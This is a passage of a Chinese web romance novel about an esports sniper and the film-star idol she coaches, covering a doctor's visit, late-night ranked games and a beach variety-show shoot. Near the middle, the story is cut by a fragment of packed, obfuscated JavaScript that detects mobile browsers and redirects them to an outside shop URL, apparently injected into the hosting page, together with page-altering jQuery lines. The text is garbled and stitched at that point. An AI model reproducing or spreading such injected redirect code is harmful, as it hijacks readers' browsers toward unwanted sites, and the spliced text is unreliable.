“电竞选手挣钱吗？”他察觉到莫羽的僵硬，随口开启了一个话题，“我看你好几次都是坐地铁来回的？” “就是感觉天天花三位数打车有点奢侈。”莫羽撇撇嘴，而后补充道，“但比赛奖金还可以，偶尔会又赞助广告。直播如果有人刷礼物的话也赚钱，但我不爱直播。” “应该没你们明星赚钱吧？”莫羽说着系上安全带。 叶之双眼平视前方的道路，点点头，“有些人会觉得来钱太容易，反而不珍惜。” 他打了一把方向盘，将车驶出了地下车库。 莫羽想，叶之定是知道些什么娱乐圈秘辛。要是换成徐晓慧坐在这里，指不定要开始八卦交流活动。 叶之开车很平稳，从来不一下踩油门一下踩刹车，也不会因为堵车而路怒。车载音响里放着的是古典乐，浪漫主义后期的拉赫马尼诺夫。 音乐缓缓流淌，仿佛窗外的车水马龙只是戏里的幻影。 “我以为只是颜星喜欢听古典。”莫羽打破了平静。 颜星是叶之出道作《第一定理》的男主角。在片子里，他会在夜深人静的时候，在书房听古典乐，满屋子只剩下音乐以及笔尖与纸张摩擦的声音。音乐的张力和颜星在数学上的疯狂，共同谱成了一曲神奇。 “颜星？”叶之轻轻踩下刹车，车子在闪烁的黄灯前停住，“其实那个时候剧组挺穷的，那个唱片机和碟是我自己的。有一次导演去我屋子看到了，觉得这和颜星的人设很贴，便拿它们充了公。” “这么说，颜星和你有好多共同点。” “可以这么说吧。”红灯很快结束，车子再次启动，“当时我和 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看到医生的时候，莫羽想，物以类聚人以群分这句话果然没错。 “你是莫羽吧？”医生高高瘦瘦的，看上去也就三十出头的样子，名牌上写着宋辉两个字。 叶之自然地帮莫羽拉开椅子，自己则在另一侧的椅子上坐下，“别看他年轻，但是师从骨科名师，算是厉害吧。” 宋辉没好气地反驳，“什么叫算是？你忘了你演习吊威亚掉下来那次是谁给你做的手术了？” 莫羽脑袋里立刻浮现了曾经看到过的图片和视频。叶之因为一部古装戏受伤从好几米高的空中掉下来的时候，她感觉自己心脏都要骤停了。 好在，经过大半年的手术修养，叶之如今恢复得很好。 原来，那位妙手正是眼前的这位宋辉。 莫羽对他的好感度立刻提升，比了个大拇指纠正道，“是很厉害。” “行了，别显摆了。”叶之慵懒地靠在椅背上，“赶紧给我们莫教练看看。” 在熟人面前，影帝的防备心和面具统统消失不见。 莫羽瞥了一眼，收回偷看的眼神，赶忙和宋辉讲了自己那晚上是怎么把腰给扭到的全过程。当然，她合理隐去了自己和叶之短信的部分。 “下肢有异常感觉吗？疼痛时间很久吗？”宋辉问。 莫羽摇摇头，“没。” “那应该没什么大碍，避免高强度运动，注意保护腰部，应该就没事了。”宋辉说着看了一眼叶之。 叶之却不放心地说，“要不还是做个CT？” 宋辉挑眉，调侃道，“你带女孩子来我这儿已经很反常了，我可是头一次见你这么紧张啊。” “别闹。”叶之微不可见撇了宋辉一眼，“这不是还要录节目打比赛吗？以防万一，我是不是得让我们教练在一个良好的身体状态里？” 宋辉一副不听不听的模样，“别给我解释，没用。” 然后，他开了单子，领着莫羽去做检查。 自从听到宋辉的调侃之后，莫羽是一句话不敢说。她害怕自己想多，却又忍不住为今天的一切在内心喜悦。 甚至有那么一瞬间，她想，这腰扭得真值啊！ 15. 暗恋第十五天 平躺在仪器床上从CT机穿过的时候，莫羽就这么盯着天花板放空。也许在参加这个节目以前，她从未想过，有一天，自己会在偶像的陪同下看医生。 这种感觉很奇妙。 “我就说，骨头没事。”宋辉白了叶之一眼，像是在无奈他的小题大做，“注意保护和休息就行。” 叶之耸耸肩，“没事不是挺好的。” “算了，我再给你开两个喷雾剂。”宋辉转头朝莫羽叮嘱道，“免得大影帝疑心病又起来。” 虽然话里是嫌弃，但宋辉和叶之抬杠的氛围，和其他时候都不一样。 怎么说，莫羽觉得很和谐很放松。 “那个...我怎么付账？” 莫羽有点儿不好意思地出声，也不能赖偶像的账不是？ 宋辉再次挑眉，把难题踢还给了叶之，“我反正是从叶之那里的会员费里扣，至于他怎么和你结算，那是你们俩自己的事。” “没事，不用。”叶之摆手拒绝。 莫羽有点苦恼地挠头，不知道该怎么回答，“不好吧？” 她不喜欢欠别人的，哪怕是自己的偶像叶之的好意，她也想从什么别的地方弥补回来。 大概是看出了她的纠结，叶之想了想，提出了一个以劳动为为报酬的主意。 “要是真想还我医药费，莫教练你带我上分吧。” “啊？”莫羽愣住。 她没想到叶之对废土求生的热爱竟至此! “不愿意？”叶之挑眉追问。 “没有没有，我愿意！”莫羽赶紧解释。 叶之笑笑，“我开了小号想着可以在节目间隙练习一下来着，没想到排位赛死活上不去。” “我保证带你上分！”莫羽拍拍胸脯，一副包在身上的样子。 全程目睹两人对话的宋辉若有所思地抬手摸摸下巴，然后摇摇头打断道，“拿着单子，出门右拐吧。” 叶之接过药单，主动帮莫羽拿上药品。 随后，他按照约定，开车把她送回了俱乐部。 就是临走前，叶之还不忘提醒莫羽，“说好带我上分的。” “嗯，一定完成任务！”莫羽笑笑，心里美滋滋的。 * 夜晚，按照约定，莫羽上线游戏，用自己的小号加上了叶之的小号。 莫羽把叶之拉进队伍，两人连上同队麦克风，却默契地谁也没说话。 她的耳边传来浅浅的呼吸声，让人不愿打破平静，或者说，打破这个让人莫名感到亲密感的分为。 “开吗？”叶之率先出声。 莫羽深呼吸，活动了一下手指，像是 “嗯，等会儿我们一起行动。” 如果目标是上分，那么和平时的打法会有些不同。废土求生的排位赛和大多数游戏差不多，分为青铜、白银、黄金、钻石和大师五个级别。 叶之小号现在是黄金高阶，目标是升上大师低阶，现在是月中，大家都在猛冲分，竞赛环境算不上好。 莫羽思考片刻，在耳麦里仔细叮嘱着等会儿的战术安排。 带人上分，她可是认真的。 但打排位赛也意味着，和什么人匹配成队友都有可能。 一开始，两个人打得都相当顺利，叶之小号的段位蹭蹭地往上升。现在，距离声如钻石级别，就只差一局胜利了。 “有莫教练在，果然效率高多了。”叶之感慨。 莫羽听到这夸奖，感觉自己脸庞有点儿发烫。 但偏偏是这一局，莫羽和叶之就遇上了难缠的对手和无语的队友。 “兄弟们，等会儿医疗兵和坦克都过来保护我啊。”说这话的是莫羽匹配到的突击手队友，“我这个枪法保准带你们上分。” 也不是第一次遇到爱瞎指挥的了，莫羽深深吐了一口气，忍住脾气和叶之说道，“你等会儿还和我行动。” “好。”叶之乖巧的回答，让莫羽感觉拥有了更多动力。 比赛开始后，叶之和莫羽两个人按照自己的节奏在边路寻找机会，另外的医疗兵倒是和突击手在一起。也许是突击手实在话多且密，医疗兵在他的指挥下手忙脚乱的。 “我靠，你会不会打啊？”突击手被对手围攻，血量极速减少，“我真tm无语，怎么老给我匹配这种菜鸟队友啊？” 医疗兵被喷得慌了神，血瓶直接丢偏。 原本就受到对手猛火集中进攻的突击手瞬间倒地，他气急败坏，“你tm还不过来救我！” 但对手的攻势很凶猛，医疗兵完全靠近不了，否则就会把自己也搭进去。在犹豫中，五秒的时间便流逝了。 这下，突击手彻底疯了，脏话一句骂得比一句难听。 见医疗兵不说话，那男人更加恼火，“你是哑巴吗？是不会说吧是吧？” 医疗兵被骂得不得不开麦，一道带着哭腔的柔软女声传来，“对...对不起...” 结果，这成为了突击手人身攻击的新点，他阴阳怪气道，“哦～女的呀，女的别打游戏啊！你说你不在家做饭带孩子，来打游戏祸害别人，何必呢？” 莫羽感觉一股火气直冲天灵盖，她掏了掏耳朵，安抚自己受到污染的耳膜。 遇到瞎指挥推后腿最后还甩锅喷脏的，那可真忍不了。尤其是，莫羽她也是女选手，她这辈子最讨厌的话就是觉得女的打不了电竞职业的言论。 还没等莫羽开口，叶之倒是先出声反击。 “打个游戏还性别歧视，怪不得段位这么低。” 莫羽一愣，她没想到叶之会帮自己说话。感觉自己的嘴角不自觉地上扬，莫羽深呼吸，在高处架好狙击枪，打开八倍镜，准备开启收割模式。 对方此刻正被刚才一波进攻冲昏头脑，不仅三个人聚集着前进，走位也不上心。 莫羽笑意更浓，子弹应声飞出，击中了对方突击手的额头。还没等另外两人逃开莫羽的攻击范围，他们也双双倒下，速度快到额头正中间的枪孔冒出的烟还没消散。 莫羽作为狙击手最厉害的地方就是又准又快，换子弹的速度快，重新瞄准的速度快，射击得特别准。 局势一下逆转，突击手的态度突然就一百八十度打转向。 “卧槽，狙击大哥你牛啊！” 莫羽冷哼一声，开口道，“抱歉啊，我是女的。” 瞬间，那突击手就闭上了嘴，直到获胜都没再说过一句话。一结束，就飞 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果然，冲锋太勇的结局是身先士卒。 叶之虽然是个坦克，可也经不住这么不要命地冲锋在前。 不一会儿，他就率先倒下。 莫羽看着把偶像打倒在地的狙击手的名字，不爽道，“帮你报仇。” 然后，她立刻开启加速收人头模式，先是把对方的狙击手耍得团团转后一枪爆头，然后陆续将其他几个人的人头一一收入囊中。 这架势，那是所过之处寸草不生。 莫羽想，虽然用职业欺负业余有点过分，但偶像好不容易拜托自己点什么，帮他找回场子，她在所不辞。 两人打完这场排位赛的时候，墙上的时针已经指向了凌晨一点。 “今天就到这儿吧，早点休息。技术的事情，急不来。”莫羽安慰道。 她不是不知道为什么叶之有点着急，但无论做什么，都需要持续长久的投入才能产生质变。 这个道理她曾经也不甚了解，她一开始打得顺风顺水，很快就从被职业俱乐部选中，成为了黑马选手。但很快，在面对几乎都是天才的激烈联赛里，莫羽的水平逐渐没有了优势。 她开始急躁，开始质疑自己为什么每天熬夜努力，却依旧是早早出局的命运。 但她并没有放弃，她就这么数年如一日地努力着。 一直到参加职业的两年之后，她才学会了以平常心去面对成败，也终于迎来全盛期的连胜。 “今天谢谢莫教练解围。”叶之的回答让莫羽的回忆戛然而止。 莫羽被这句感谢美得有些飘飘然，她一下倒在了床上，完全忘记自己的腰伤还没好。 下一秒，她疼得面容扭曲，赶忙把手机拿远嘶了一声。 “后天录制见。”叶之没听见这边的异常，继续道别。 “嗯，晚安。”莫羽惴惴不安地匆匆挂掉了电话。 她有点害怕。 害怕再和叶之聊下去，自己对视他为偶像的事情，就彻底要露出马脚，从缝隙生长而出了。 16. 暗恋第十六天 两天后，叶之和莫羽在录制现场神色如常地打招呼，完全看不出两人曾私下一起用小号联机打过排位的样子。 莫羽反正是强装出的不熟，至于叶之，可能不愧是影帝吧。 摄像和导演组早早布置好了房间，虽然Wings今天没有比赛，但凭借着这几个人之间的神奇化学反应和腥风血雨体质，他们可不打算放过任何一个可能的爆点再次出现。 莫羽和徐晓慧仍旧坐在了两人最爱的那张长沙发上。 “我有预感，我们这次会躺赢小组第一。”徐晓慧一本正经地对莫羽说道，眼神充满笃定，“这叫做积极的心理暗示。” 莫羽瞬间被她的理论逗笑。 一旁夏正晨看到镜头扫了过来，也笑容爽朗地加入谈话。 “那我也觉得我们会拿小组第一。” 一道空气墙仿佛竖立在了房间中央，莫羽瞥了一眼队里两个不说话的人—— 谭山是一向不爱加入年轻人的话题，叶之则是默默看着大家浅笑。 鬼使神差地，她突然把话题引向了叶之。 “叶前辈，你相信吸引力法则吗？” 叶之盯着莫羽思考片刻，说了一句，“我也觉得我们能拿第一。” “稳了稳了。”徐晓慧眼神里闪烁着胜利的喜悦。 不知道是不是这种积极的磁场真的起了作用，Wings果真顺利拿下小组头名。胜点两场均只拿下一分，正好落后Wings一分，屈居第二。 当屏幕上显示出胜点再次以2-1拿下比赛胜利的时候，密闭的房间瞬间沸腾了。 在以徐晓慧和夏正晨为首的“鬼哭狼嚎”的掩饰之下，莫羽没忍住，偷偷望向了沙发椅上的叶之。 但这蓄谋的偷看立刻变成了默契的对视。 和叶之四目相对的时候，莫羽感觉耳鸣来袭，其他人的欢呼声变得模糊且悠远。 那是一种在喧闹里独享的静谧时刻，是一种让莫羽感到“偷乐”究竟是什么意思的一秒钟。 她不敢让自己沉沦在不现实的虚幻里，便想移开眸子。却只见叶之接着对着她绽放出一个直达眼底的微笑。 随即，他用口型无声地对她说道：“恭喜！” * 循环赛结束后，节目特地安排了海边团建日。六支队伍无论是否出线，都被邀请参加，气氛和乐融融，一下冲淡了因为淘汰赛制而升起的冲突感。 莫羽看了一眼节目组导演递过来的今日台本，终于切身体会到，为什么大家说她要在《冠军狙击》里拿第一的想法有点儿傻了。 因为，这个节目的主要目的是披着打电竞的皮，干着赚流量的事情。 莫羽的眼前被推来了挂满衣服的移动衣架，或者更准确的说，挂满泳衣的衣架。 泳装样式繁多，但大多布料稀少，其意味昭然若揭。 她紧紧皱起眉头，心里升起一股不详的预感。 这次被分配过来递话的大概是个实习导演，她怯生生地说道，“莫羽老师，您看看等会儿游戏环节要穿哪件。” 哦，大概是料定她不会为难一个实习生。 看着对面女生水汪汪的大眼睛，莫羽承认，好吧，她被拿捏了。 她认命地对女生说道：“我等会儿会选的，你先回去吧。” 大概是怕没完成任务回去被骂，又或者是对莫羽的话不够信任，实习导演挪动了两步，还是不舍得离开，又挪回她的面前。 莫羽拿她没辙，终于现场挑选起泳衣。 一边挑选着，她一边疑惑，怎么感觉这些衣服的花式有点儿眼熟？ 莫羽思忖片刻，终于想起来——这应该是一比一还原游戏里的夏日限定款皮肤！ 没想到，导演组就算是骗流量，也要给自己找个看上去正经的理由。 就挺，严谨的。 在反复扒拉了衣架两个来回之后，莫羽总算是找到了一件带着薄纱的白色款式分体泳衣，看上去仙气飘飘的。莫羽敏锐地认出来，这是去年夏日限定皮肤里最受欢迎的那几款，也不知道今年会不会再度返场。 “就这件吧。”莫羽将衣服从衣架上拿下，对着实习生说，“这下你相信我不会骗你了吧？” 那女生被莫羽戳破了心思，头埋得更低了，喃喃道，“那个，我没有不相信莫老师。” 然后，她推着衣服架子，加快脚步，像是逃跑一般出了候场间。 莫羽在更衣室里换完衣服出来，摸了摸身上半透明的薄纱和纱上用金线绣出的花纹。唔，手感不错，节目组确实在花钱上够大方。 但毕竟平时在俱乐部里校服款式的运动队服穿得多了，头一次穿这么好看又显身材的衣服，莫羽感觉走起路来都有点儿束手束脚的。 按照台本，等会儿是每个队的走秀环节和游戏环节。也就是说，每一个人都会穿不同的服装，那自己岂不是有机会看到裸着上半身的叶之了？ 一想到可能看到偶像的美好□□，莫羽感觉脸都发烫了。 抱着这种期待又害羞的心情，莫羽和徐晓慧一起走到了海边。男生更衣室在另一端，让莫羽保留了一些想象。 Wings是率先出场的队伍，只见莫羽身着仙气飘飘的薄纱露腰泳装，携手身着可爱元气风蛋糕边小裙子的徐晓慧，挽着手臂闪亮登场。 一静一动的设定，吸引了周围不少人视线关注。 队伍里的男生紧跟着出场。 莫羽在T台远端摆好pose，然后没忍住用余光偷偷瞄了眼大步流星向前的叶之。 一丝失望从内心升起。 好吧，不该有什么过分的期待的！ 比起一旁没什么肌肉也要硬秀一下身材的夏正晨，叶之和谭山两个人齐刷刷走起了度假“大叔”风。 但不得不说，就算是包裹得严实的花衬衫，在叶之的衣架子身材之下，莫名透着一股禁欲的气息。 他的衬衫纽扣被开到第三颗，胸前大片的裸露吸引了她的目光。叶之的肤色是有健康的小麦色，在阳光下闪着光泽。隐隐约约的肌肉线条由锁骨处向下，逐渐隐没在难以窥见的衬衫的遮掩之下。 莫羽不动声色地吞咽了口水，强迫自己收回目光，从容地领着Wings的众人走下了场。 说实话，能做明星还能红的人，不少身材管理都不错。但就算是大秀肌肉线条的男明星开屏似的站在众人面前的时候，莫羽觉得自己还是心如止水。 或者说，莫羽的心跳只会在眼神接触到叶之的瞬间选择性加速。 台上的走秀录制还在继续，莫羽却不由得双手抱臂，在风中打了个哆嗦。 当天的录制有点儿早，早上八点，初升的太阳没什么热力，抵挡不住海风的喧嚣，海水升腾的水汽在空气中弥漫，接触到裸露的肌肤，让人起了一身鸡皮疙瘩。 在这样的天气条件之下，莫羽感觉简直如芒在背。 成片里短短的五分钟，导演组起码录制了一小时，这才终于喊了卡。 叶之一结束录制，就立刻朝旁边的导演组走去。 回来的时候，他的手上多了两条白色的浴巾。 他将手中的浴巾递给莫羽和徐晓慧，叮嘱道：“海边风大，别着凉了。” “谢谢。”莫羽接过浴巾，当作披肩一样披着，将自己裸露的肌肤包裹着。毛茸茸的毯子带来的温暖慢慢在身体凝聚，莫羽的心也跟着升温。 叶之点头笑笑，而后再次回到了候场的休息区域。 徐晓慧看着手里的浴巾，脸上再度浮现八卦之色，“我这是和你一起沾的光吧？” “别乱说，叶之是绅士，这不是全娱乐圈都公认的事么。” 莫羽下意识反驳。 徐晓慧不服气地努努嘴，“反正，我这个头号cp粉的皇家观赏位，已经不打算让给别人了！” 莫羽无奈，但还是偷乐着叶之的关心。 明明知道是黑夜的火苗，但她仍像是一只飞蛾，不管不顾地朝火光扑去。 导演自然不会让这造价不菲的泳装成为仅供展示的一次性衣服，节目组在走秀之后安排了真人沙滩枪战游戏。 至于穿着泳装做游戏会不会不便，这可不在导演组的考虑范围之内。 海滩上的空桶和箱子被摆成了游戏里集装船地图的外围部分，这个区域如果不是职业选员，基本无人了解构造和布置。节目组把这一块区域拿出来，角度还挺特别。 午时的太阳比上午的威大了许多，晒在人身上，火辣辣的。 莫羽擅长射击类游戏，但不包括这种需要大运动量的真人游戏。她掂了一下导演发到手里的沉重狙击枪，陷入了沉默。 早知道，自己之前就多去健身房报道了。肌肉到用时方恨少。 正当她暗自苦恼的时候，叶之不动声色地走到莫羽身旁，“你腰伤还没好吧？” 虽然是疑问句，但语气里全是笃定，“等会儿我们一起行动吧。” 这句话好耳熟！ 短短几天，从线上到线下，保护人和被保护人调换了位置。 “你就在这儿找机会，我会尽量让对方无法靠近这片区域。”叶之一边对躲在集装箱后的莫羽嘱咐，一边四周观察，向前突进。 线下真人游戏中的叶之非常可靠，说到做到。 一场比赛下来，几乎真的没有人靠近过莫羽所在的位置。不是被叶之拦在十米开外，就是被定点瞄准射击的莫羽抓到把柄，两个人没有沟通，却特别默契。 叶之端着枪托，有力的手臂线条在阳光下闪光，汗珠从额头滑落。 莫羽心跳空了一拍，手里再次更换了新的彩弹弹匣。为了安全，子弹没有穿透力打到身上会直接变成五彩缤纷的印记。 她愣愣看到换下的根本没用完的旧弹匣落在手心的时候，才知道自己开了个多大的小差。 此时，徐晓慧从别的地方激战完毕，逃到了莫羽身边。 她看了眼前方五米处正在观察敌人的叶之，又看了看盯着叶之神游天外的莫羽。 “真的，我不相信你们这叫纯洁的同事关系！” 莫羽心里有点儿惴惴不安，“别乱说。” 很快，她的瞄准镜里出现了最后一个敌人，为她解围般出现得相当及时。 毫不犹疑，莫羽按下了板机。 子弹飞出，对方的头盔上瞬间出现了一片水彩。 导演组当场宣布Wings获胜。 只见叶之从前方往回走，脸上挂着胜利微笑。 下一秒，莫羽感觉手臂的负重消失。 再低头一看，叶之已经接过了她手中的狙击枪。 “谢谢。”莫羽抬头说道。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14135417|150065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 叶之笑容更深，“看来，我偶尔也能带你上次分。” * 晚上，节目组安排的是海边篝火烧烤活动。明星和教练们终于得以换上一套新衣服，是一套方便活动又保暖的运动服饰。 从导演递来的口播小卡片来看，应该是看节目火了之后新加入的赞助商提供的。 因为是进入下一阶段前最后的相聚时刻，夜晚的众人多了一丝分别的伤感。 大家不分队伍地坐在一起，看着繁星点点的明朗夜空，共赏天边的一轮明月，场景和谐美好。 就是远处飘来一阵阵牛羊肉烤串的香气，直直往鼻子里钻。 莫羽吸了一大口“肉味儿”的空气，吞了口口水。 她又看了一眼周围的明星们，他们似乎感觉不到诱惑的香气似的，开启休闲畅谈模式，把简单的竞技游戏聊出了人生哲学的高度，把离别的惆怅聊出了再也不见的悲伤。 莫羽精疲力竭地靠在沙发椅上，准备屏蔽香气带来的困扰。 她也很想出去找找烤串的源头在哪，但她坐在里侧，想要出去势必要惊动其他人。要是问起来，估计是件尴尬的事儿。 叶之转过头，看出了她的心思，“一起去点儿吃的？” 莫羽一听这提议，点头如捣蒜。 一个人离开聊得正欢的团体是不合群的尴尬，两个人一起那就合理多了，更何况有谁敢说影帝的不是。 两个人一起起身，循着香气找到了火正旺的烤炉。烤炉前站的是Shiny，他一只手拿着几串烤好的肉串，看上去已经饱餐一顿了。 “莫羽，你也饿了？”他将手里的烤串递了两串给她，然后好奇地看着叶之。 莫羽接过道谢，但显然也没想到在这里撞到熟人，还是和自己偶像两个人单独出来觅食的时候撞到熟人。 “我也会饿。”叶之出声解惑，略带幽默感的回答把Shiny逗笑。 “那我先回去了，感觉溜出来有点儿久。”Shiny意味深长地看了一眼两人，离开了烤架区域。 叶之挽起袖子，顺势走到烤架前，利落地把一旁准备好的生肉串“呲呲”喷上油。 火焰接触到沾着油的肉串瞬间升高，然后是肉被炙烤的扑鼻香气。 叶之手腕上下翻腾，烧烤便在他手之下滋滋冒烟。 莫羽好奇地凑近，“你怎么还会这个？” 叶之想了想，回答道，“某个角色需要去学的，后来发现学会也挺好。” “感觉除了打游戏，好像你什么都挺擅长的。”莫羽见四下无人，悄悄将前辈的尊称隐去，带着私心拉近了和偶像的距离。 烤肉带起的烟气升起。 莫羽看叶之忙碌的样子，感觉眼前变得有些朦胧不清。 一阵风吹过，原本被云挡住的月亮露出了它的身影。 月光倾泻而出，坠满了叶之的肩头。 仿佛周身散发着柔光的叶之，因为手中的调料瓶和肉串，变得又仙气飘飘，又接地气。 莫羽感觉这种经历实在奇妙。 “尝尝我的手艺。”叶之将烤好的肉串递过来。 他不仅贴心地将肉串晾了一会儿防止过烫，还从旁边抽了两张纸巾。 莫羽迫不及待地将偶像亲自烤好的肉串送进嘴里，感受着肉汁在嘴里爆开的满足感。 “好吃！”她比了个大拇指。 叶之笑笑，手上给自己的那几串撒上胡椒粉，也送进嘴里。 两个人就这么旁若无人地大快朵颐。 唔，自制的烤串好像比小摊上的更好吃。 * 两个人同时回到围炉聊天会的时候，众人的话题已经从电竞聊到了电影。 大家聊得依旧投入，没什么注意到悄悄离开又悄悄回归的两人。又或者说，大家默契地没有提起这个话题。 毕竟，很多人是在《冠军狙击》的最后一期了，自然希望能多留下一些播出份量。 趁着大家热聊，徐晓慧一脸八卦地凑近莫羽，在她的耳边老神在在地开口，“我可是都看到了～” “你看到什么了？” 莫羽想，自己和叶之也没做什么暧昧的事情吧？ “你们一起去偷吃诶！”徐晓慧瞪大眼睛。 不是，徐晓慧是怎么做到把字面意义上的“一起偷吃”，说出了一股有奇怪意味的暧昧感的？ 莫羽扶额，解释道：“我们就是饿了。” 徐晓慧撅起嘴，认真看着莫羽的眼睛，仿佛要从这双瞳孔里看出什么秘密一样。但在对上莫羽清澈毫无保留的回视之后，她 呼，莫羽松了口气。 如果，但凡徐晓慧再多看她十秒，那么她一定会忍不住败下阵来。 叶之此刻已经自然地加入话题，他接过别人抛来的话茬，带着浅笑说着自己的故事，众人跟着笑出声，或感慨地加入讨论。 实际上，这个夜晚，叶之究竟分享了个什么故事，具体是个什么起因经过结果，莫羽早就已经记不太请了。 她记得最清楚的，好像只是叶之讲故事那张在月光下清楚地发光的侧脸。 暗恋注定该是在黑夜里的。 哪怕今晚的月亮再圆再皎洁，可它是属于整片天空的。 伸手触摸到的是风，月亮挂在天上注视着她。